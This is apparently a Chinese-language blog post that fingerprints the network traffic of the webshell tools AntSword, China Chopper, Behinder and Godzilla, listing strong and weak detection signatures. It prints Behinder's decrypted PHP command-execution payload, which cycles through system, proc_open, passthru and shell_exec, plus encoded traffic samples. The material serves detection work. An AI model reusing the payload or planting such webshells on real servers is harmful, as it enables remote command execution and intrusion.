WebShell工具特征流量分析合集

目录

中国蚁剑流量抓包分析

配置代理

数据包分析

特征

中国菜刀流量抓包分析

数据包分析

特征

冰蝎流量抓包分析

配置代理

自带PhpWebshell分析(base64编码)

数据包分析

弱特征

强特征

哥斯拉流量抓包分析

配置代理

生成webshell

Webshell连接

抓包分析

强特征

弱特征


中国蚁剑流量抓包分析

配置代理

WebShell工具特征流量分析合集_第1张图片

数据包分析

通过编码的数据包1特征,发现是URL编码(BP会自动对其解码显示)

WebShell工具特征流量分析合集_第2张图片

 还可以通过解码网站对其进行解码,之后分析数据包特征
http://www.hiencode.com/

WebShell工具特征流量分析合集_第3张图片

 如下图,发现通过蚁剑终端传参之后得到的响应包任然是明文的

WebShell工具特征流量分析合集_第4张图片

特征

请求包:
每个请求体都是由下面这个数据开始的
@ini_set("display_errors", "0");@set_time_limit(0);
响应包:
都是明文

中国菜刀流量抓包分析

因菜刀无法配置代理,因此我们通过wireshark来全局抓包查看流量(也可以通过Proxifier联合BP抓包)

数据包分析

WebShell工具特征流量分析合集_第5张图片

特征

请求体存在assert eavl,base64等特征字符

请求体中存在固定字符:QGluaV9zZXQo

冰蝎流量抓包分析

这里以冰蝎base64编码生成webshell为例上传到服务器端进行流量分析

WebShell工具特征流量分析合集_第6张图片

配置代理

WebShell工具特征流量分析合集_第7张图片

自带PhpWebshell分析(base64编码)

WebShell工具特征流量分析合集_第8张图片

数据包分析

WebShell工具特征流量分析合集_第9张图片

 在冰蝎虚拟终端进行传参分析其数据包特征

WebShell工具特征流量分析合集_第10张图片

 通过冰蝎自带解密功能对其数据包解密

WebShell工具特征流量分析合集_第11张图片

 如下解密后的函数,对关键信息进行base64解密还原流量:可以看到进入哪些路径执行哪些命令

@error_reporting(0);function getSafeStr($str){    
  $s1 = iconv('utf-8','gbk//IGNORE',$str);    
  $s0 = iconv('gbk','utf-8//IGNORE',$s1);    
  if($s0 == $str){        
    return $s0;    
  }
  else{        
    return iconv('gbk','utf-8//IGNORE',$str);    
  }
}
function main($cmd,$path){    
  @set_time_limit(0);    
  @ignore_user_abort(1);    
  @ini_set('max_execution_time', 0);    
  $result = array();    
  $PadtJn = @ini_get('disable_functions');    
  if (! empty($PadtJn)) {        
    $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);        
    $PadtJn = explode(',', $PadtJn);        
    $PadtJn = array_map('trim', $PadtJn);    
  } 
  else {        
    $PadtJn = array();    
  }    
  $c = $cmd;    
  if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {        
    $c = $c . " 2>&1\n";    
  }    
  $JueQDBH = 'is_callable';    
  $Bvce = 'in_array';    
  if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {        
    ob_start();        
    system($c);        
    $kWJW = ob_get_contents();        
    ob_end_clean();    
  } 
  else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {        
    $handle = proc_open($c, array(            array(                'pipe',                'r'            ),            array(                'pipe',                'w'            ),            
                                  array(                'pipe',                'w'            )        ), $pipes);        $kWJW = NULL;        while (! feof($pipes[1])) {            $kWJW .= fread($pipes[1], 1024);        
                                                                                                                                                                         }        
    @proc_close($handle);    } 
  else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {        
    ob_start();        
    passthru($c);        
    $kWJW = ob_get_contents();        
    ob_end_clean();    } 
  else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {        
    $kWJW = shell_exec($c);    } 
  else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {        
    $kWJW = array();        
    exec($c, $kWJW);        
    $kWJW = join(chr(10), $kWJW) . chr(10);    } 
  else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {        
    $fp = popen($c, 'r');        
    $kWJW = NULL;        
    if (is_resource($fp)) {            
      while (! feof($fp)) {                
        $kWJW .= fread($fp, 1024);            
      }        
    }        
    @pclose($fp);    
  } 
  else {        
    $kWJW = 0;        
    $result["status"] = base64_encode("fail");       
    $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");        
    $key = $_SESSION['k'];        
    echo encrypt(json_encode($result));        
    return;            
  }    
  $result["status"] = base64_encode("success");    
  $result["msg"] = base64_encode(getSafeStr($kWJW));    
  echo encrypt(json_encode($result));}function encrypt($data){    
  $key="e45e329feb5d925b"; for($i=0;$i

如下图对cmd变量的关键信息进行base64解密可得明文

WebShell工具特征流量分析合集_第12张图片

 对其响应数据进行解密

加密的响应包数据
TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEduBwZHa1RfEDhzHFdoTFMMVgdQWHZoCVhASA==

一次解密后

{"status":"c3VjY2Vzcw==","msg":"Z2ctYm9uZFxnZy1ib25kDQo="}+.$r1('#%4r1k%]@.n)192>bm=m%{}.p"1xw/r:$?5Vm4Zy5'1?~|"k/a"=t\>`"a;)F~2\y6?d>6=]mar}

对关键信息进行二次解密(status和msg的值),如下图

WebShell工具特征流量分析合集_第13张图片

弱特征

Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-type: application/x-www-form-urlencoded

强特征

请求头固定
dFAXQV1LORcHRQtLRlwMAhwFTAg/M
解密后
@error_reporting(0);

哥斯拉流量抓包分析

配置代理

WebShell工具特征流量分析合集_第14张图片

生成webshell

将哥斯拉的webshell上传到服务器

WebShell工具特征流量分析合集_第15张图片

Webshell连接

WebShell工具特征流量分析合集_第16张图片

抓包分析

数据包通过base64编码

WebShell工具特征流量分析合集_第17张图片

强特征

  1. Cookie: PHPSESSID=erqjms95fqav97qa99euqiu1t6;     # cookies值多了分号;
  2. 数据包贼长

弱特征

请求包
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
响应包
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

WebShell工具特征流量分析合集_第18张图片

你可能感兴趣的:(Webshell工具流量分析,WebShell)